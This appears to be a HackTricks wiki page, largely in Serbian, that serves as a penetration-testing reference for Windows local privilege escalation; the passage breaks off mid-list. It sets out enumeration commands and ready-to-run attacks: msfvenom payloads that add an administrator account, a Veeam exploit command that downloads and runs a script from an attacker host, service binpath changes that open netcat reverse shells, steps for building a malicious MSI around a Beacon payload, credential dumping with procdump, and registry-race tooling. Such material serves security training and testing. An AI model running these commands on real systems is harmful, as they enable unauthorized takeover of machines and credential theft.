Windows Local Privilege Escalation
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
Najbolji alat za pronalaženje Windows lokalnih privilege escalation vektora: WinPEAS
Početna Windows teorija
Access Tokens
Ako ne znaš šta su Windows Access Tokens, pročitaj sledeću stranicu pre nego što nastaviš:
ACLs - DACLs/SACLs/ACEs
Pogledaj sledeću stranicu za više informacija o ACLs - DACLs/SACLs/ACEs:
Integrity Levels
Ako ne znaš šta su integrity levels u Windows-u, trebalo bi da pročitaš sledeću stranicu pre nego što nastaviš:
Windows Security Controls
Postoje različite stvari u Windows-u koje bi mogle sprečiti da enumerišeš sistem, pokrećeš executable fajlove ili čak detektuju tvoje aktivnosti. Trebalo bi da pročitaš sledeću stranicu i enumerišeš sve ove defense mechanisms pre nego što počneš sa privilege escalation enumeracijom:
Admin Protection / UIAccess silent elevation
UIAccess procesi pokrenuti kroz RAiLaunchAdminProcess mogu biti zloupotrebljeni da se dođe do High IL bez promptova kada se zaobiđu AppInfo secure-path provere. Pogledaj namenski UIAccess/Admin Protection bypass workflow ovde:
Uiaccess Admin Protection Bypass
Secure Desktop accessibility registry propagation može biti zloupotrebljen za arbitrary SYSTEM registry write (RegPwn):
Secure Desktop Accessibility Registry Propagation LPE (RegPwn)
System Info
Version info enumeration
Proveri da li Windows verzija ima neku poznatu vulnerability (proveri i primenjene patches).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Version Exploits
This site je koristan za traženje detaljnih informacija o Microsoft security vulnerabilities. Ova baza podataka ima više od 4,700 security vulnerabilities, što pokazuje ogromnu attack surface koju Windows okruženje predstavlja.
On the system
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Locally with system information
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Environment
Da li su neki credential/Juicy info sačuvani u env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell History
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript fajlovi
Možete naučiti kako da ovo uključite na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Detalji izvršavanja PowerShell pipeline-ova se beleže, obuhvatajući izvršene komande, pozive komandi i delove skripti. Međutim, potpuni detalji izvršavanja i rezultati izlaza možda neće biti zabeleženi.
Da biste ovo omogućili, pratite uputstva u odeljku “Transcript files” dokumentacije, i izaberite “Module Logging” umesto “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Da biste videli poslednjih 15 događaja iz PowersShell logova, možete izvršiti:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
Potpun zapis aktivnosti i pun sadržaj izvršavanja skripte se hvata, obezbeđujući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatnu audit evidenciju svake aktivnosti, što je korisno za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršavanja, pružaju se detaljni uvidi u proces.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Dnevni događaji za Script Block mogu se pronaći u Windows Event Viewer-u na putanji: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Da biste videli poslednjih 20 događaja možete koristiti:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internet Settings
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Diskovi
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Možete kompromitovati sistem ako se update-ovi ne traže preko httpS, već preko http.
Počinjete tako što proverite da li mreža koristi WSUS update bez SSL-a, pokretanjem sledećeg u cmd:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Ili sledeće u PowerShell-u:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
Ako dobijete odgovor kao što je jedan od ovih:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261 exposes a localhost service on TCP/9401 that processes attacker-controlled messages, allowing arbitrary commands as NT AUTHORITY\SYSTEM.
- Recon: confirm the listener and version, e.g.,
netstat -ano | findstr 9401and(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit: place a PoC such as
VeeamHax.exewith the required Veeam DLLs in the same directory, then trigger a SYSTEM payload over the local socket:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
Servis izvršava komandu kao SYSTEM.
KrbRelayUp
Postoji local privilege escalation ranjivost u Windows domain okruženjima pod određenim uslovima. Ti uslovi uključuju okruženja gde LDAP signing is not enforced, korisnici imaju self-rights koji im omogućavaju da konfigurišu Resource-Based Constrained Delegation (RBCD), i mogućnost korisnika da kreiraju računare unutar domain-a. Važno je napomenuti da su ovi zahtevi ispunjeni korišćenjem default settings.
Pronađi exploit in https://github.com/Dec0ne/KrbRelayUp
Za više informacija o toku napada pogledaj https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
Ako su ova 2 registry-ja omogućena (vrednost je 0x1), onda korisnici bilo kog privilegija mogu da instaliraju (izvrše) *.msi fajlove kao NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
Ako imate meterpreter session, možete automatizovati ovu tehniku koristeći modul exploit/windows/local/always_install_elevated
PowerUP
Koristite Write-UserAddMSI komandu iz power-up da u trenutnom direktorijumu napravite Windows MSI binarni fajl za eskalaciju privilegija. Ovaj script upisuje unapred kompajlirani MSI installer koji traži dodavanje user/group (pa će vam trebati GIU access):
Write-UserAddMSI
Samo izvrši kreirani binarni fajl da bi eskalirao privilegije.
MSI Wrapper
Pročitaj ovaj tutorijal da naučiš kako da napraviš MSI wrapper koristeći ovaj alat. Imajte na umu da možeš da wrap-uješ “.bat” fajl ako samo želiš da izvršiš komande
Create MSI with WIX
Create MSI with Visual Studio
- Generiši sa Cobalt Strike ili Metasploit novi Windows EXE TCP payload u
C:\privesc\beacon.exe - Otvori Visual Studio, izaberi Create a new project i ukucaj “installer” u polje za pretragu. Izaberi Setup Wizard projekat i klikni Next.
- Daj projektu ime, kao AlwaysPrivesc, koristi
C:\privescza lokaciju, izaberi place solution and project in the same directory, i klikni Create. - Nastavi da klikćeš Next dok ne dođeš do koraka 3 od 4 (choose files to include). Klikni Add i izaberi Beacon payload koji si upravo generisao. Zatim klikni Finish.
- Označi projekat AlwaysPrivesc u Solution Explorer i u Properties, promeni TargetPlatform sa x86 na x64.
- Postoje i druga svojstva koja možeš promeniti, kao što su Author i Manufacturer, što može učiniti da instalirana aplikacija izgleda legitimnije.
- Desni klik na projekat i izaberi View > Custom Actions.
- Desni klik na Install i izaberi Add Custom Action.
- Dvostruki klik na Application Folder, izaberi svoj fajl beacon.exe i klikni OK. Ovo će obezbediti da se beacon payload izvrši čim se instalater pokrene.
- U okviru Custom Action Properties, promeni Run64Bit na True.
- Na kraju, build it.
- Ako se prikaže upozorenje
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', proveri da li si podesio platformu na x64.
MSI Installation
Da bi izvršio instalaciju zlonamernog .msi fajla u background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Da biste iskoristili ovu ranjivost, možete koristiti: exploit/windows/local/always_install_elevated
Antivirus i Detectors
Audit Settings
Ove postavke odlučuju šta se loguje, pa treba da obratite pažnju
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, je korisno znati gde se logovi šalju
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS je dizajniran za upravljanje lozinkama lokalnog Administratora, obezbeđujući da je svaka lozinka jedinstvena, nasumična i redovno ažurirana na računarima pridruženim domenu. Ove lozinke se bezbedno čuvaju unutar Active Directory i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACLs, što im omogućava da vide lokalne admin lozinke ako su autorizovani.
WDigest
Ako je aktivan, plain-text lozinke se čuvaju u LSASS (Local Security Authority Subsystem Service).
Više informacija o WDigest na ovoj stranici.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Počevši od Windows 8.1, Microsoft je uveo poboljšanu zaštitu za Local Security Authority (LSA) kako bi blokirao pokušaje nepoverenih procesa da čitaju njegovu memoriju ili ubace code, dodatno obezbeđujući sistem.
Više informacija o LSA Protection ovde.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard je predstavljen u Windows 10. Njegova svrha je da zaštiti kredencijale sačuvane na uređaju od pretnji kao što su pass-the-hash napadi.| Više informacija o Credentials Guard ovde.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Keširani kredencijali
Domain credentials autentifikuje Local Security Authority (LSA) i koriste ih komponente operativnog sistema. Kada se logon podaci korisnika autentifikuju pomoću registrovanog security package-a, za korisnika se obično uspostavljaju domain credentials.
Više informacija o Cached Credentials ovde.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Korisnici i grupe
Nabroj korisnike i grupe
Treba da proveriš da li neke od grupa kojima pripadaš imaju zanimljive dozvole
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Privilegovane grupe
Ako pripadaš nekoj privilegovanoj grupi, možda ćeš moći da eskaliraš privilegije. Saznaj više o privilegovanim grupama i kako da ih zloupotrebiš za eskalaciju privilegija ovde:
Manipulacija tokenima
Saznaj više o tome šta je token na ovoj stranici: Windows Tokens.
Pogledaj sledeću stranicu da saznaš više o zanimljivim tokenima i kako da ih zloupotrebiš:
Prijavljeni korisnici / Sesije
qwinsta
klist sessions
Početni folderi
dir C:\Users
Get-ChildItem C:\Users
Pravila lozinki
net accounts
Dobijanje sadržaja clipboard-a
powershell -command "Get-Clipboard"
Pokrenuti procesi
Dozvole za fajlove i foldere
Pre svega, pri listanju procesa proverite da li postoje lozinke u komandnoj liniji procesa.
Proverite da li možete prepisati neki binarni fajl koji je pokrenut ili da li imate dozvole za upis u folder sa binarnim fajlom kako biste iskoristili moguće DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Uvek proveri da li postoje electron/cef/chromium debuggers running, you could abuse it to escalate privileges.
Provera dozvola binarnih fajlova procesa
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Provera dozvola foldera binarnih datoteka procesa (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Mining lozinki iz memorije
Možete kreirati memory dump procesa koji je u radu koristeći procdump iz sysinternals. Servisi kao što je FTP imaju credentials u plain text-u u memoriji, pokušajte da dump-ujete memoriju i pročitate credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Insecure GUI apps
Aplikacije koje rade kao SYSTEM mogu omogućiti korisniku da pokrene CMD, ili da pregleda direktorijume.
Primer: “Windows Help and Support” (Windows + F1), potraži “command prompt”, klikni na “Click to open Command Prompt”
Services
Service Triggers omogućavaju Windows-u da pokrene service kada se dese određeni uslovi (aktivnost named pipe/RPC endpoint, ETW events, dostupnost IP adrese, dolazak uređaja, GPO refresh, itd.). Čak i bez SERVICE_START prava često možeš pokrenuti privilegovane services tako što okineš njihove triggers. Vidi tehnike za enumeration i activation ovde:
Get a list of services:
net start
wmic service list brief
sc query
Get-Service
Dozvole
Možete koristiti sc da biste dobili informacije o servisu
sc qc <service_name>
Preporučuje se da imate binarni fajl accesschk iz Sysinternals kako biste proverili potreban nivo privilegija za svaku uslugu.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Preporučuje se da proverite da li “Authenticated Users” mogu da menjaju bilo koji servis:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Možete preuzeti accesschk.exe za XP ovde
Omogući servis
Ako imate ovu grešku (na primer sa SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
Možete ga omogućiti koristeći
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Uzmite u obzir da servis upnphost zavisi od SSDPSRV da bi radio (za XP SP1)
Još jedno zaobilazno rešenje za ovaj problem je pokretanje:
sc.exe config usosvc start= auto
Izmeni putanju binarnog fajla servisa
U scenariju gde grupa “Authenticated users” poseduje SERVICE_ALL_ACCESS nad servisom, moguće je izmeniti izvršni binarni fajl servisa. Da izmeniš i izvršiš sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Restart usluge
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privilegije mogu biti eskalirane kroz različite dozvole:
- SERVICE_CHANGE_CONFIG: Omogućava rekonfiguraciju servisnog binary-ja.
- WRITE_DAC: Omogućava rekonfiguraciju dozvola, što vodi do mogućnosti menjanja konfiguracije servisa.
- WRITE_OWNER: Dozvoljava preuzimanje vlasništva i rekonfiguraciju dozvola.
- GENERIC_WRITE: Nasleđuje mogućnost menjanja konfiguracije servisa.
- GENERIC_ALL: Takođe nasleđuje mogućnost menjanja konfiguracije servisa.
Za detekciju i eksploataciju ove ranjivosti, može se koristiti exploit/windows/local/service_permissions.
Services binaries weak permissions
Proveri da li možeš da menjaš binary koji izvršava servis ili da li imaš write dozvole na folder u kome se binary nalazi (DLL Hijacking).
Možeš dobiti svaki binary koji izvršava servis pomoću wmic (ne u system32) i proveriti svoje dozvole pomoću icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Takođe možete koristiti sc i icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Dozvole za modifikaciju service registry-ja
Treba da proverite da li možete da modifikujete bilo koji service registry.
Možete proveriti svoje dozvole nad service registry-jem tako što ćete:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Treba proveriti da li Authenticated Users ili NT AUTHORITY\INTERACTIVE imaju FullControl dozvole. Ako imaju, binary koji servis izvršava može biti izmenjen.
Da biste promenili Path binary-ja koji se izvršava:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Registry symlink race to arbitrary HKLM value write (ATConfig)
Neke Windows Accessibility funkcije kreiraju per-user ATConfig ključeve koji se kasnije kopiraju od strane SYSTEM procesa u HKLM session ključ. Registry symbolic link race može preusmeriti to privilegovano pisanje u bilo koju HKLM putanju, dajući arbitraran HKLM value write primitiv.
Ključne lokacije (primer: On-Screen Keyboard osk):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATsnavodi instalirane accessibility funkcije.HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATConfig\<feature>čuva korisnički kontrolisanu konfiguraciju.HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\Session<session id>\ATConfig\<feature>se kreira tokom logon/secure-desktop prelaza i korisnik ga može upisivati.
Abuse flow (CVE-2026-24291 / ATConfig):
- Popunite HKCU ATConfig vrednost koju želite da SYSTEM upiše.
- Pokrenite secure-desktop copy (npr. LockWorkstation), što pokreće AT broker flow.
- Pobedi race tako što ćete postaviti oplock na
C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\oskmenu.xml; kada se oplock aktivira, zamenite HKLM Session ATConfig ključ sa registry link-om ka zaštićenoj HKLM meti. - SYSTEM upisuje vrednost koju je napadač izabrao u preusmerenu HKLM putanju.
Kada imate arbitraran HKLM value write, pređite na LPE prepisivanjem service configuration vrednosti:
HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath(EXE/command line)HKLM\SYSTEM\CurrentControlSet\Services\<svc>\Parameters\ServiceDll(DLL)
Izaberite service koji normalan korisnik može da pokrene (npr. msiserver) i aktivirajte ga nakon upisa. Napomena: javna exploit implementacija zaključava workstation kao deo race-a.
Primer alata (RegPwn BOF / standalone):
beacon> regpwn C:\payload.exe SYSTEM\CurrentControlSet\Services\msiserver ImagePath
beacon> regpwn C:\evil.dll SYSTEM\CurrentControlSet\Services\SomeService\Parameters ServiceDll
net start msiserver
Services registry AppendData/AddSubdirectory permissions
Ako imate ovu dozvolu nad registry, to znači da možete da kreirate podregistry iz ovog. U slučaju Windows services, ovo je dovoljno za izvršavanje proizvoljnog koda:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
Ako putanja do executable nije unutar navodnika, Windows će pokušati da izvrši svaku završnicu pre razmaka.
Na primer, za putanju C:\Program Files\Some Folder\Service.exe Windows će pokušati da izvrši:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Izlistaj sve unquoted service paths, isključujući one koji pripadaju ugrađenim Windows servisima:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\system32" | findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:"\""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Možete detektovati i iskoristiti ovu ranjivost pomoću metasploit: exploit/windows/local/trusted\_service\_path Možete ručno kreirati service binary pomoću metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Recovery Actions
Windows omogućava korisnicima da specifikuju akcije koje će se preduzeti ako servis zakaže. Ova funkcija može biti podešena da pokazuje na binary. Ako se ovaj binary može zameniti, privilege escalation može biti moguć. Više detalja možete pronaći u official documentation.
Applications
Installed Applications
Proverite permissions of the binaries (možda možete da prepišete jedan i escalirate privileges) i folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Dozvole za pisanje
Proveri da li možeš da izmeniš neku config datoteku kako bi pročitao neku posebnu datoteku ili da li možeš da izmeniš neki binary koji će biti izvršen nalogom Administratora (schedtasks).
Jedan način da pronađeš slabe dozvole foldera/datoteka na sistemu je:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Notepad++ plugin autoload persistence/execution
Notepad++ automatski učitava svaki plugin DLL unutar svojih plugins podfoldera. Ako postoji writable portable/copy instalacija, ubacivanje malicioznog plugin-a daje automatsko izvršavanje koda unutar notepad++.exe pri svakom pokretanju (uključujući iz DllMain i plugin callbacks).
Notepad Plus Plus Plugin Autoload Persistence
Run at startup
Proveri da li možeš da pregaziš neki registry ili binary koji će biti izvršen od strane drugog korisnika.
Pročitaj sledeću stranicu da bi naučio više o zanimljivim autoruns lokacijama za eskalaciju privilegija:
Privilege Escalation with Autoruns
Drivers
Traži moguće third party weird/vulnerable drivere
driverquery
driverquery.exe /fo table
driverquery /SI
Ako driver izlaže arbitrary kernel read/write primitive (uobičajeno kod loše dizajniranih IOCTL handlera), možeš da eskaliraš tako što ćeš direktno ukrasti SYSTEM token iz kernel memorije. Pogledaj korak-po-korak tehniku ovde:
Arbitrary Kernel Rw Token Theft
Za race-condition bugs gde ranjivi poziv otvara Object Manager putanju pod kontrolom napadača, namerno usporavanje lookup-a (koristeći max-length komponente ili duboke directory lance) može da proširi prozor sa mikrosekundi na desetine mikrosekundi:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Modern hive vulnerabilities omogućavaju da napraviš deterministic layouts, zloupotrebiš writable HKLM/HKU descendants, i pretvoriš metadata corruption u kernel paged-pool overflow-e bez custom driver-a. Nauči ceo lanac ovde:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Neki signed third‑party driver-i kreiraju svoj device object sa jakim SDDL preko IoCreateDeviceSecure, ali zaborave da postave FILE_DEVICE_SECURE_OPEN u DeviceCharacteristics. Bez ovog flag-a, secure DACL se ne primenjuje kada se device otvara kroz putanju koja sadrži dodatnu komponentu, što omogućava bilo kom unprivileged korisniku da dobije handle koristeći namespace path kao:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (iz realnog slučaja)
Kada korisnik može da otvori device, privileged IOCTLs koje izlaže driver mogu da se zloupotrebe za LPE i tampering. Primeri mogućnosti primećeni u praksi:
